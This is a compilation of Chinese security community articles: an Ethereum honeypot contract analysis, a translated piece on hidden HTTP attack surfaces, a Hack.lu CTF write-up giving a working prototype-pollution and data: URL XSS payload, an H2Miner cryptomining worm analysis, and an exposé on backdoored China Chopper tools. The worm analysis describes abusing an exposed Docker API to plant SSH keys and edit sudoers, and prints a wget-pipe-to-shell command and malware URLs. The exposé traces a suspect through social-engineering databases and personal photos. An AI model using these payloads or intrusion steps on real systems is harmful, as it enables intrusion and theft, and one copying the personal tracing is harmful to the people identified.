* 若猜中答案，将得到合约里所有的 ETH 作为奖励;
* 若猜不中，无任何奖励，且事先支付的 ETH 会转入该合约
然而同学们有没有发现，由于以太坊的特性，所以如果合约创建者调用了play函数那么由于传入的参数是string，所以在以太坊中可以完美的寻找到其痕迹。但是聪明的蜜罐合约创建者才不会就让用户轻松的取走余额。下面我们来对相关蜜罐进行复现测试。
**这里我是以蜜罐合约部署者的身份进行测试**
首先将合约版本调整为4.20，并部署合约。
之后，我们在rop上部署合约。
得到合约地址`0xb4769ece1229d32cb6e94ec69b8018e42b043640`。
然而，我们并不需要直接进行使用创建者账户直接进行调用play来创建合约问题。我们通过中间合约来进行跳板进行调用。
中间合约如下：
contract middle{
address addr = 0xb4769ece1229d32cb6e94ec69b8018e42b043640;
QUESTION target = QUESTION(addr);
function process() public{
target.StartGame("Who am i?","Pinging");
target.NewQuestion("Who am i?","balbalbalbabal");
}
}
调用`process`函数之后，我们查看：
然而我们对问答合约进行交易查询，发现其并不会对中间合约的调用进行记录。
然而当我们查看参数发现问题已经更新成功。
之后我们再次调用`play()`合约。（用于迷惑用户）
之后我们对合约交易详细进行查看：
对第一条内容进行查看：
此时我们刚才的调用被记录下来了，这样就意味着我们已经成功做好了陷阱。然而真正的问题答案是`target.NewQuestion("Who am
i?","balbalbalbabal");`。而非`I am a white hat@@@!`。然而这样会使大批用户不断的投入以太币去进行尝试。
尤其是针对那些对以太坊机制十分熟悉的人来说，他们在查看到string后以为自己成功找到了创建者的漏洞，不曾想到，这也是创建者设计的陷阱。
#### 2 原合约交易分析
上述内容为我进行本地测试的情况。而原蜜罐合约是如此进行欺骗的。下面我们查看其交易情况：
之后我们查看其第二笔交易：
合约交易将问题设置为：`Imagine you are swimming in the sea and a bunch of hungry sharks
surround you. How do you get out alive?`答案设置为：`Stop Imagining`。
然而这个操作如同我们上述执行的陷阱操作一样，只是为了对用户进行欺骗。
这个操作也确实有用户上钩了：
这个用户调用了`play()`函数：
解码后为：
果然不出所料，他传入了陷阱string，然而并没有得到转账。
### 三、总结
对不同的用户有不同的蜜罐合约。而此蜜罐针对的就是对以太坊有一定基础的专业人士设计的。本合约具有很浓厚的讽刺韵味，使很多专业人士都陷入到陷阱中来。所以本文为分析者提供了一种分析思路。希望大家以后能够对此类型的合约有所判断，不要轻易的占小便宜。
### 四、相关链接
* 合约地址：<https://etherscan.io/address/0xcEA86636608BaCB632DfD1606A0dC1728b625387>
* 测试合约地址：<https://ropsten.etherscan.io/address/0xb4769ece1229d32cb6e94ec69b8018e42b043640>
* 中间合约地址：<https://ropsten.etherscan.io/address/0x1e8d2daf0622b769064c88a9feed9b6badb9bdad>
* <https://paper.seebug.org/671/>
* 交易记录：<https://etherscan.io/address/0xcEA86636608BaCB632DfD1606A0dC1728b625387>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 【技术分享】针对HTTP的隐藏攻击面分析（上）
|
##### 译文声明
本文是翻译文章，文章来源：portswigger.net
原文地址：<http://blog.portswigger.net/2017/07/cracking-lens-targeting-https-hidden.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
为了增强用户体验度，现代Web网站架构中都包含了各种各样的“隐藏系统”，这些系统不仅可以给用户提供各种额外的服务，而且还可以帮助管理员提取网站各方面的分析数据。但是，这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。
**写在前面的话**
在本系列文章中，我将会给大家演示如何使用恶意请求和消息头来让这些隐藏系统“现形”，并实现对目标网络的入侵。除此之外，我还专门开发了一个小型Bash脚本来自动化实现本文所介绍的各项技术。值得一提的是，本文所介绍的技术让我彻底渗透进了美国国防部的网络系统，然后拿到了超过三万美刀的漏洞奖金，而且在这个过程中我还意外地发现了我所使用的ISP服务器的安全问题。
在本文的分析过程中，我还会给大家介绍其中几个我所发现的隐藏系统。我会披露欧洲最大网络服务提供商秘密进行的请求监听行为以及哥伦比亚网络服务提供商的可疑之处（混乱的Tor后端），而且还会给大家描述一个包含漏洞的系统，这个系统允许我将反射型跨站脚本漏洞（Reflected
XSS）提升为SSRF（服务器端请求伪造）。在这篇文章中，你还会了解到如何通过漏洞链以及缓存机制来利用Blind
SSRF漏洞，并最终这些系统拉到“聚光灯”之下。除此之外，我还发布了一款名叫Collaborator Everywhere **【**[
**GitHub主页** ****](http://blog.portswigger.net/2017/07/cracking-lens-targeting-https-hidden.html) **】**
的开源BurpSuite扩展（可通过注入Payload来让后端系统pingback），感兴趣的用户可以关注一下。
注：本系列文章的原版论文可以点击 **【**[
**这里**](https://portswigger.net/knowledgebase/papers/CrackingTheLens-whitepaper.pdf) **】** 获取，大概在今年的九月份我们会放出在2017年BlackHat黑客大会的演讲视频，敬请期待。
**一、介绍**
无论是ShellShock、StageFright或是ImageTragick，一般在一个被忽略的攻击面中所发现的严重漏洞都有其相似的特性或问题，因为这些不够明显的攻击面都会被安全测试人员所忽略。在该系列文章中，我将会通过反向代理、负载均衡器以及后端分析系统来披露那些多年以来都被人们过分忽略的攻击面。除此之外，我将会给大家介绍一种非常简单且有效的方法来对这类系统进行安全审计，并给大家展示我所发现的各种严重漏洞。
我还专门开发了两款工具。其中一款名叫Collaborator
Everywhere，这是一款BurpSuite扩展，它可以通过在Web流量中自动注入一些无害的Payload来揭露那些隐藏的后端系统，你可以通过BApp商店或直接访问[
**GitHub主页**](https://github.com/PortSwigger/collaborator-everywhere)
来获取该工具。另一个工具名叫Rendering Engine Hackability
Probe，这是一个Web页面，它可以分析已连接客户端的攻击面。你可以访问该项目的[
**GitHub主页**](https://github.com/PortSwigger/hackability) 获取源码或访问[
**Portswigger站点**](http://portswigger-labs.net/hackability/) 直接使用该工具。
**二、方法学**
**1.监听**
这一系列研究方法主要针对的是那些被设计成不可见的系统。因此，我们不能依赖于分析响应内容来识别这些系统中的安全漏洞。相反，我们需要通过向这些系统发送专门设计的Payload来让这些系统与我们通信，然后从DNS查询结果和HTTP请求中来了解更多的信息。本系列文章中的所有发现都起始于一次Pingback，如果没有这一次Pingback，我根本无法发现这些隐藏系统，更别说找出其中的安全漏洞了。我用Burp
Collaborator记录下了这些请求，但是你也可以搭建你自己的DNS记录服务器，或使用[
**Canarytokens**](https://canarytokens.org/) 来进行简单的探测。
**2.研究过程**
在刚开始的时候，我使用了一个简单的Burp匹配/替换规则向我所有的浏览器流量中注入了一个硬编码的Pingback
Payload。但是这种方法垮掉了，因为Payload引发了大量的Pingback，所以我很难去识别Payload所触发的每一个单独Pingback。而且我还发现，某些Payload在触发Pingback时会有一定的延迟，有的是几分钟或几个小时，有些甚至要等上一天。
为了更有效地去触发并筛选Pingback，我编写了Collaborator
Everywhere，这个简单的Burp扩展可以向所有的代理流量中注入包含唯一标识符的Payload，并根据攻击类型自动对Pingback进行分类。比如说，大家可以从下面的Collaborator
Everywhere截图中看到，Netflix在我访问了它们网站的四个小时之后，Netflix访问了Referer头中的URL地址，其中的访问终端使用x86
CPU的iPhone伪造的。
**3.详细分析**
对于有针对性的人工安全审计来说，Collaborator
Everywhere是一款非常高效的工具，本系列文章中几乎一半的安全漏洞都是通过它来发现的。但是在研究过程中我发现，某台雅虎服务器中的一个特定漏洞只有百分之三十的几率被扫描到，而导致这一情况的根本原因是雅虎使用了DNS轮训调度机制来进行负载均衡，并通过三台不同的前端服务器来处理入境请求，而这三台服务器中只有一台存在漏洞。
为了确保没有任何一台包含漏洞的服务器能够逃避检测，我们需要系统地去识别并针对每一个目标基础设施精确发送Payload。
为了实现这个目标，我一开始使用的是Burp Collaborator客户端以及[
**破解版的Masscan**](https://github.com/robertdavidgraham/masscan) ，但是后来我又用[
**ZMap/ZGrab**](https://github.com/zmap/zgrab)
替换掉了Masscan，因为ZGrab支持HTTP/1.1和HTTPS。为了识别目标的Pingback，我在每一个Payload中添加了目标主机名，所以example.com中的漏洞将会产生一次指向example.com.collaboratorid.burpcollaborator.net的DNS查询请求。目标域名和IP地址需要手动从合法可测试的域名列表中获取，然后映射到[
**Rapid7的DNS数据库**](https://scans.io/study/sonar.fdns_v2)
。这种方法可以识别出数百万个IP地址，其中大约有五万多个IP会监听端口80/443。我一开始还尝试使用了反向DNS记录，但是这样只能发现一大堆伪装成Google基础设施的服务器，而且这些服务器似乎也不太愿意接受他人的安全审计。
如果我们的Payload无法触发存在漏洞的代码路径，那么我们向再多的服务器发送Payload也没有什么X用。为了使Payload的覆盖率最大化，我在每一个IP中最多使用了五个主机名，并且还使用了HTTP和HTTPS。除此之外，我还使用了X-Forwarded-Proto: HTTPS和Max-Forwards来尝试触发边缘情况，并发送了Cache-Control: no-transform头来阻止服务器中间件破坏我的Payload。
**三、请求误传**
反向代理会将中继请求委托给相应的内部服务器，这些服务器一般都出于特权网络的位置，它们可以直接获取到互联网发送过来的请求，而且还拥有公司DMZ的访问权。如果有一个合适的Payload，那么我们就可以控制反向代理让它将这些请求发送到攻击者指定的目的地址（请求误传）。这样一来，我们就可以让这些服务器组成一个网关，并可以不受限制地访问目标组织的内部网络了（一种功能非常强大的服务器端请求伪造SSRF的变种版本）。下面给出的是这种攻击技术的简单过程图：
需要注意的是，这种攻击技术中一般需要使用到畸形请求，而这些请求不仅有可能导致类似[
**ZAP**](https://github.com/zaproxy/zaproxy/issues/1318)
这样的工具无法正常工作，而且还有可能无意中影响到你公司或互联网服务提供商的中间网关。所以就工具而言，我建议大家使用原版BurpSuite、mitmproxy和Ncat/OpenSSL。
**总结**
在本系列文章的上集，我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述，并且介绍了本系列文章中所要使用的工具以及技术，在接下来的中集和下集中，我们将用实际的例子来给大家进行详细的介绍，感兴趣的同学请关注安全客的最新更新。 | 社区文章 |
# Hack.luCTF-Car-repair-shop详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
JS题目，代码全在前端，合并一下关键代码如下：
const urlParams = new URLSearchParams(window.location.search)
const h = location.hash.slice(1)
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')
const cars = [bugatti, porsche]
porsche.repair = () => {
if(!bugatti.isStarted()){
infobox(`Not so fast. Repair the other car first!`)
}
else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
if(urlParams.has('help')) {
repairWithHelper(urlParams.get('help'))
}
}
else{
infobox(`Repairing this is not that easy.`)
}
}
porsche.ignition = () => {
infobox(`Hmm ... WTF!`)
}
$(document).ready(() => {
const [car] = cars
$('.fa-power-off').click(() => car.powerOn())
$('.fa-car').click(() => car.info())
$('.fa-lightbulb-o').click(() => car.light())
$('.fa-battery-quarter').click(() => car.battery())
$('.fa-key').click(() => car.ignition())
$('.fa-wrench').click(() => car.repair())
$('.fa-step-forward').click(() => nextCar())
if(h.includes('Bugatti'))
autoStart(bugatti)
if(h.includes('Porsche'))
autoStart(porsche)
})
const nextCar = () => {
cars.push(cars.shift())
$(".image").attr('src', cars[0].pic);
}
const autoStart = (car) => {
car.repair()
car.ignition()
car.powerOn()
}
const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}
const infobox = (text) => {
$('a').css({'pointer-events': 'none', 'border': 'none'})
$('.infobox').addClass('infoAnimate')
.text(text)
.on('animationend', function() {
$(this).removeClass('infoAnimate')
$('a').css({'pointer-events': 'all', 'border': 'solid 1px rgba(255, 255, 255, .25)'})
})
}
class Car {
constructor(type, model, color, pic, key="") {
this.type = type
this.model = model
this.color = color
this.key = key
this.pic = pic
let started = false
this.start = () => {
started = true
}
this.isStarted = () => {
return started
}
}
powerOn() {
if (this.isStarted()) {
infobox(`Well Done!`)
nextCar()
} else {
$('.chargeup')[0].play()
}
}
info() {
infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
}
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}
light() {
infobox(`You turn on the lights ... Nothing happens.`)
}
battery() {
infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
}
ignition() {
if (this.key == "") {
infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
}
if (this.key == "🔑") {
infobox(`The car started!`)
this.start()
}
}
}
<!-- <script src="assets/js/car.key.js"></script> -->
根据题目和代码逻辑，首先生成了两个常量对象`bugatti`和`porsche`
const bugatti = new Car('Bugatti', 'T35', 'green', 'assets/images/bugatti.png')
const porsche = new Car('Porsche', '911', 'yellow', 'assets/images/porsche.png')
通读代码找一下能够x的点，发现在`repairWithHelper`函数中存在script
src可控的情况，不过传入的url要经过一个正则的限制。我们首先追一下怎么能调用到`repairWithHelper`函数
const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}
Jquery加载完dom之后，取锚点的值为h，并判断是否包含bugatti、porsche字段值，而后将对象传入相应的autoStart函数执行。
if(h.includes('Bugatti'))
autoStart(bugatti)
if(h.includes('Porsche'))
autoStart(porsche)
autoStart中对car对象的调用方法不尽相同。对于bugatti来说，Car类中存在上述三个方法，而当对象为porsche的时候，方法ignition、repair会被改写。其中，在`porsche.repair()`方法中实现了`repairWithHelper`调用
const autoStart = (car) => {
car.repair()
car.ignition()
car.powerOn()
}
省略中间步骤，梳理一下调用链大致需要经过两个重要的逻辑：
1、需要先repair第一辆名为”Bugatti”的车，改变bugatti.key = 🔑
2、使$.md5(porsche) == $.md5(“lol”)
先看第一个点，由于Car类内部`ignition()`方法调用了$extend，同时获取url参数`repair`用来合并Car类内属性，那么就可以通过传参覆盖key的值，因此构造`repair={"key":"%F0%9F%94%91"}`就能轻松过第一个步骤。
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}
同时$extend()方法也存在原型链污染问题，见文章:https://hackerone.com/reports/454365。这也是bypass第二步$.md5(porsche)
== $.md5(“lol”)的关键，那么如何操作对象常量porsche？
首先，可以先看下面的取值
因为$.md5是对一串string类型的变量进行加密，那么传入的参数为对象时，势必就经过类型的转换。至于具体操作，我们可以把它理解为当前变量进行`toString()`。由于porsche这个对象没有`toString()`方法，按照Javascript的继承就会向上查找原型_
_proto
**(Car对象)是否有`toString()`，Car对象也没有`toString()`，继而再向上查找到**proto__(Object对象)，存在toString()，调用并返回字符串：
**[object Object]** ，通过打印如下的例子验证。
其次，对于数组的toString()会合并数组内的键值并返回，那么如下的用法会使$.md5生成以”lol”为字符串的加密值。
因此，既然是将porsche对象进行$.md5的取值，那么我们污染继承链的某一个_ _proto__
，使其为array类型，并赋值为”lol”，那么toString()在向上寻找调用的时候就能返回”lol”，而不是到达顶端Object原型的toString()方法。
综上，我们可以构造如下payload绕过以上两点的限制：
https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?&repair={"key":"%F0%9F%94%91","__proto__":{"__proto__":["lol"]}}#PorscheBugatti
接着就是以help为参数的引入script标签的src，不过要先bypass一段正则:
urlRegx = /^w{4,5}://car-repair-shop.fluxfingersforfuture.fluxfingers.net/[wd]+/.+.js$/;
这里是不可能污染原型的，因为会被重新赋值。可控点为car-repair-shop前后的字段。
参考官方wp解法，由于w{4,5}使得协议可控，用data://作为资源加载恶意的xss，同时data不关心mime的类型，使得我们可以把白名单的host放到mime的位置。其实对于src这个属性来说，应该是都支持data资源的调用。最终payload如下:
https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/hpdoger/,alert(document.cookie)//car.key.js&repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}#BugattiPorsche
javascript调用链及类型转换真的可以去深究一下，师傅们博学多识,orz.. | 社区文章 |
# H2Miner挖矿蠕虫新变种
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
近期捕获到H2Miner挖矿蠕虫变种病毒，H2Miner是一个linux下的挖矿病毒，是用Golang编码的，该变种利用Docker
swarm开放一个TCP端口2375（或2376）攻击云服务器，下载恶意脚本和恶意程序进行挖矿，然后试图将恶意软件传播到其他云服务器。攻击者利用失陷的主机进行挖矿，会消耗CPU资源，严重影响主机的使用。从所获得的新变种与老版本比较后，之间没有太多的变化，主要是更改了文件中的后门地址以及相关的文件名，该家族的脚本名称不是固定的，是按照英文字母a-z为基础命名的，此次捕获的脚本是d.sh。攻击者从利用开放端口开始，通过规避策略和横向移动，一直到部署恶意矿工的全流程执行
下面的流程图说明了完整的攻击流程
## 二、漏洞利用
swarm是Docker官方提供的一款编排容器的工具，其主要作用是把若干台Docker主机抽象为一个整体，并且通过默认端口2375远程操控Docker管理这些Docker主机上的各种资源。如要使用swarm，则必须让Docker开放其HTTP的API。默认情况下这个API没有开启，而开启此API需要在启动时加入-H参数，执行-H tcp://0.0.0.0:2375，亦或2376
安装Docker需要使用root或sudo权限，也就是说，容器内部的root用户就是宿主机的root用户，一旦挂载目录，就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。
Docker是以root权限运行的，无法直接控制宿主机，所以可以先将本地文件或目录挂载到容器内，在容器内这些文件和目录是可以修改的。例如把/root/挂载到容器内，再将攻击者的ssh公钥/.ssh/id_rsa.pub的内容写到入被攻击Docker宿主机的/root/.ssh/authorized_keys文件中，修改权限为600，此时就可以以root用户登录了。
本地获取ssh公钥
将公钥复制到被攻击的.ssh/authorized_keys文件中
挂载目录并且修改 /etc/sudoers 文件，直接配置成免密码，sudo免密切换root
如果主机不允许root用户直接登录，可以通过挂载 /etc/ssh/sshd_config 查看配置。那就换一个用户写入，并且修改 /etc/sudoers
文件，sudo vim etc/sudoers,
此时，拿下了主机的root权限，或者拥有sudo权限的用户，执行wget -q -O – http://93.189.43.3/d.sh|sh（服务已关）
## 三、样本分析
### 3.1d.sh
d.sh,一共670行代码，发现脚本执行了以下操作
1.禁用安全措施并清除日志： echo SELINUX=disabled >/etc/selinux/config
2.卸载安全应用程序，清除他挖矿程序和服务进程
3.kill其他加密矿工相关的文件，其中大部分是/tmp，/var/tmp
4.killdocker容器服务进程，并删除镜像
5.下载Kinsing,并运行
6.创建定时任务，每分钟运行一次，并且指向域名，下载脚本
停止linux安全内核模块
删除系统日志
下载2个卸载阿里云安全服务的脚本
netstat根据端口查看服务进程，端口是竞争挖矿木马惯用端口范围，检测主机上是否存在其他的挖矿病毒，有的话直接kill
ps 根据服务名称和进程路径查看进程，都是挖矿木马类型
根据挖矿ip，矿池域名查看服务进程（门罗币）
删除其他挖矿木马相关文件
停止docker容器，并删除镜像
download函数会检查是否存在kinsing，并校验文件的MD5，然后download2函数下载Kinsing文件并校验MD5值是否正确，如果MD5不正确或者文件不存在就调用
download3函数继续下载Kinsing
crontab创建定时任务，确保d.sh持久化
定时任务，每一分钟执行一次，访问url（195.3.146.118）下载d.sh
根据定时任务名称删除其他任务
### 3.2恶意程序Kinsing
Kinsing执行了以下操作
1.与C&C服务器通信
2.利用masscan扫描端口
3.Redis暴力破解
4.下载spre.sh脚本
5.下载cron.sh脚本
6.释放kdevtmpfsi 矿工
与C&C服务器185.154.53.140进行通信
获取任务的函数
获取C2地址
RC4解密得到C2地址
执行相关任务的函数
masscan,是一款渗透工具，masscan是一种Internet规模的端口扫描程序，可用于对Internet或内部网络。速度足以在3分钟内扫描Internet的端口。
获取目标
创建firewire.sh脚本并运行
针对Redis暴力破解
用AUTH命令进行口令认证：
spre.sh
检索id_rsa*，/.ssh/config，/.bash_history，HostName进行匹配，并找到相对的身份信息，利用ssh|scp横向传播下载并运行shell脚本
每20次SSH|SCP连接尝试后会休眠20秒，这种可能是为了躲避发现
cron.sh
根据进程名,ip进行kill，
创建定时任务，每分钟执行并且下载unk.sh
kdevtmpfsi
释放文件并执行的函数
修改权限并启动
sub_400D50方法有连接矿池域名，登录矿池，申请内存的行为
sub_40CD70矿池配置config.json，连接矿池域名以及钱包地址
挖矿程序版本号5.5.0
矿池账户密码
配置CPU最大线程
搜索挖矿关键字miner
这部分由以下函数进行调用，获取CPU信息，系统CPU时间
## 四、IOCs
IP
104.192.141.1
93.189.43.3
195.3.146.118
185.154.53.140
194.38.20.199
MD5
d.sh
be17040e1a4eaf7e2df8c0273ff2dfd2
spre.sh
639d87d54aa57371cc0bf82409503311
kinsing
52ca5bc47c84a748d2b349871331d36a
kdevtmpfsi
8c6681daba966addd295ad89bf5146af
URL
https://bitbucket.org/tromdiga1/git/raw/master/kinsing
http://93.189.43.3/kinsing
http://195.3.146.118/d.sh
http://93.189.43.3/d.sh
http://93.189.43.3/spr.sh
http://185.191.32.198/unk.sh
## 五、监测方法
1.利用威胁情报，监控主机是否连接矿池域名
2.监控异常服务进程的CPU利用率，设置告警阈值
3.监控挖矿程序惯用端口，以及挖矿程序惯用进程名，挖矿程序生成的文件
4.遍历root/.ssh/中的密钥信息是否被清空
5.是否存在异常未知的定时任务，尤其是指向未知域名
6.监控执行批量及高位命令行kill，rm，wget -q -O，chmod，curl。挖矿程序高危路径/tmp，/var/tmp
## 六、清理挖矿建议
利用top查看cpu使用情况
再根据PID进程号，查看进程的指定程序路径，或者find服务名，检索文件位置
ps – ef | grep kedevtmpfsi 查看挖矿进程，删除挖坑程序，守护进程会一直重启它
所以需要先删除守护进程，再kill
kedevtmpfsi，此时还有最重要的一步，就是先删除定时任务，要不然，挖矿程序还会定时启动，因为d.sh脚本会再次下载挖矿程序，再次启动， | 社区文章 |
# 网络小黑揭秘系列之黑产江湖黑吃黑 ——中国菜刀的隐形把手
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**引子**
人在做，天在看。
黑产乃法外之地，被丛林法则所支配。没有了第三方强制力量的保障和监督，在那个圈子里我们可以看到两个极端：想做大生意的往往极重信誉，而那些只想捞一票就走的则会肆无忌惮地黑吃黑。
2015年12月中，360天眼实验室发布了“网络小黑揭秘系列之黑色SEO初探”，简单揭露了下网络上的黑色SEO活动，同时也提到了很多黑客工具中带有后门，其中就包括了某些使用面非常广的工具。没错，这回我们的主角是小黑们最喜闻乐见的中国菜刀。
**中国菜刀**
菜刀，厨房切菜之利器，亦可用于砍人。中国菜刀(China
Chopper)亦是如此，它是一款支持多种语言的非常优秀的WebShell管理程序，可用于正常的网站管理，亦可以用于非法控制管理他人网站，总之是站长居家旅行助手、黑客杀人越货利器。据说作者是一退伍军人，国内有人写了简评并借鬼仔’s
Blog 发布，国外亦有FireEye 写了详细的剖析报告。
通过360云安全的大数据查看菜刀官网(www.maicaidao.com)的站点数据，官网在2014年的12月份发布caidao-20141213（http://www.maicaidao.com/caidao-20141213.zip）版本之后没几天，就停止下载并且关闭了网站（域名IP曾一度指向了GOOGLE.COM），关站的诱因可能是因为Freebuf上发了一篇名为“强大的网站管理软件
– 中国菜刀20141213新版发布”的介绍文章。
虽然中国菜刀的官网早已关闭，但好东西自有它的生命力，从某种意义上说中国菜刀已经是一个品牌甚至用现在最火的概念来说已经成为一个IP，官方的支持不再重要，自有人来维护传播它，当然，也包括了里面夹带的私货——也就是后门。
**
**
**样本分析**
其实，之前已经有很多人写过中国菜刀的后门，本文无意再作重复，以下主要对采用“db.tmp”模式的后门做下简要的分析。
通过对收集到的大量样本进行分析，发现这些带有后门的中国菜刀都基本上通过修改原版的某些特征来绕过“安全狗”等Web安全防护软件，同时修改PE的导入表引入一个动态链接的后门模块。为了通过迷惑用户而不被发现，将后门的名字伪装成数据库的临时文件，也就是“db.tmp”，因为“中国菜刀”的默认数据库文件名为“db.mdb”。
caidao.exe文件MD5: baad97c73aee0207e608c46d0941d28b
对“db.tmp”进行汇总分析，发现PE文件时间戳是伪造的，也就无法通过这个属性进行分类。根据文件大小大致能分成两个版本：一个32K大小的早期版本，另外一个36K大小的改进版本。两个版本的实际功能都差不多，使用VB6编写，通过对这些文件进行二进制比较确认相同版本的文件大小相同而后门地址不一样，应该是有使用模版生成器来进行生成。
对“db.tmp”进行反汇编分析，发现带后门的菜刀会针对抓包软件进行行为隐藏，当发现系统中有以下进程的时候不执行后门行为动作，使其逃过可能的监视。“|WSockExpert_cn.exe|WSockExpert.exe|CHKenCap.exe|SmartSniff.exe|hookME.exe|NetworkTrafficView.exe|smsniff.exe|tcpmon.exe|HttpAnalyzerStdV6.exe|Csnas.exe|Wireshark.exe|”
通过循环读取mdb数据库中的SiteUrl的值并进行判断，排除“http://www.maicaidao.com/”（目的是为了排除中国菜刀默认生成的示例信息）后继续读取SitePass、nCodePage、Config字段值，最后和程序中所配置的后门地址“http://cd.myth321.com/index.asp||||||||”进行拼接，发送数据完成Webshell信息的上传。
**传播手段**
样本本身从技术上其实没多少可说的，保证效果真正的手段是其传播方法，这个决定了后门操盘手能最终收割多少。以下是我们确认的一些传播渠道：
**1、SEO优化**
在手上有大量的Webshell之后，后门菜刀的幕后操刀手可以很方便的利用这些Webshell将自己的网站SEO到一个比较理想的位置。在某搜索引擎的第一页结果中，我们可以看到除了推广链接排名在第一位，第二位和第三位都是SEO上去的假官网。
我们将仿冒的官网域名列举如下，基于360的大数据统计了2015年12月07日至16日共计十天的PVUV访问量，从数据来看SEO还是有些效果的。
**2、购买搜索引擎关键词**
大家是否还记得2012年年初，曾有人在某搜索引擎中购买putty、winscp、SSHSecure等ssh工具的关键词，使很多人通过该引擎搜索时点击了推广链接，跳转到所谓的中文网站并下载运行了包含后门的中文版工具，该后门会将用户连接过的服务器IP地址、端口号、用户名及密码上传至“l.ip-163.com”这个网站，事情曝光后有白帽子在第一时间通过技术手段发现该服务器已经使数千人中招，甚至包括某些国际大厂的员工。“中国菜刀”这么受欢迎的工具，如果SEO效果不好，购买搜索引擎关键词进行推广是一个比较理想的高效推广手段。经过简单的测试，发现这些带有后门的“中国菜刀”在某搜索引擎上，买了至少以下三个关键词“过狗菜刀”、“中国菜刀”和“XISE”进行推广。
**3、通过一些黑客论坛进行发布**
在不少论坛或黑客组织中，都有收集整理黑客工具并打包发布的传统，这些都是脚本小子的最爱。针对这些带后门的中国菜刀进行追踪溯源，发现很多都是通过黑客工具包进行传播的，我们整理了一份不完全的名单——这些带有后门的中国菜刀被有意或者无意加入了这些工具集合中。
**4、通过QQ群、论坛等特定的圈子进行传播**
很多黑客的成长，要么是自己观看他人的教程然后依样画葫芦学习，要么是有老司机带路甚至是手把手的教。在这个过程中，这群人总会在某个地方形成一个圈子，QQ群也好，论坛也罢，收费的也好，免费也罢。但这些圈子可能并不纯粹，老司机有可能也是个半桶水，或者在教的过程中故意留一手——因为我们发现有不少教程中所附带的工具包也是带有后门的。以下是几个例子：
**
**
**中国菜刀的背后**
**网站安全概况**
透过传播手段，我们可以看到“中国菜刀”在中国的流行程度。而中国菜刀的流行也同国内网站的安全性相关。让我们先看看《2015年中国网站安全报告》 中的一段数据：
正因为有大量的网站存在漏洞，所以有大量的自动漏洞扫描及入侵工具。使用中国菜刀来对这些Webshell进行批量管理，小黑们可以非常愉快地执行恶意SEO、挂黑链、挂黑页等活动。
-恶意SEO
恶意SEO后门是指针对网站服务器加载恶意SEO代码，从而借正规网址域名实施搜索引擎优化或诱导欺诈。
-挂黑链
挂黑链是指通过篡改原网站相关页面数据，植入可见或不可以页面代码元素，从而达到恶意SEO（即黑帽SEO）的目的。
-挂黑页
挂黑页是指通过篡改原网站的页面或增加页面，在这个页面实现钓鱼的行为。如下图就是通过在正规网站中，植入伪装成“网游交易门户”的欺诈页面。
通过对中国菜刀后门的逆向分析，从样本中提取了几个典型的后门箱子链接，由此获取这些箱子是个挺简单的事，统计发现数据还是很惊人的。数据如下表：
以“c.qsmyy.com”后门地址为例，一共下载回来639个后门箱子，里面共有67864条Webshell，对这些Webshell进行消重后仍有24111条结果，平均每个箱子中有38条Webshell，其中，箱子日期越新的Webshell，访问成功的概率越高。
而“www.cnxiseweb.com”这个后门地址就更恐怖了，后门箱子的数据每天都会进行日清处理，所以我们只能下载到当天几个小时的数据，而这几个小时的数据就高达321条Webshell，消完重后仍有317条Webshell，所有这些也基本反映了国内Web网站的安全状况
**
**
**假冒网站溯源**
所有读过360天眼实验室以前文章的同学们都应该知道，技术的分析和数据的统计大多只是开胃菜，正餐往往在后头，让我们来追追菜刀后门的操盘手们。
**www.maicaidao.co钓鱼站溯源**
http://www.maicaidao.co是仿造菜刀官网（www.maicaidao.com）的网站之一，其所提供的菜刀下载链接（http://www.maicaidao.co/FileRecv/20141018.zip）是带有db.tmp后门的，为了提高逆向分析难度，还使用了VMProtect加壳软件加壳保护。
从公开的whois信息显示，该域名注册邮箱为[email protected]，同时，该邮箱同时还有注册“maicaidao.me”这个域名。安全圈的朋友们一看这个邮箱，应该并不陌生，没错这个邮箱的主人正是某sec组织的成员之一，接下来的我们就不多说了，有兴趣的可以自己去挖挖。
**www.maicaidao.cc 钓鱼站溯源**
www.maicaidao.cc这个钓鱼站因为域名过期已经打不开，但在过去的一年没少传播，通过whois查询可以知道站长的邮箱为
[email protected]。
通过QQ群关系社工库，我们可以看到如下信息。
而在这个QQ号的空间相册中，还能看到其炫耀的入侵网站截图。
当然，其QQ空间还有个人生活、学习的照片。
这些照片显示，其在广州的传智播客学习过。通过QQ号查找，发现其有使用微信，基本可以确认此QQ号为主账号。
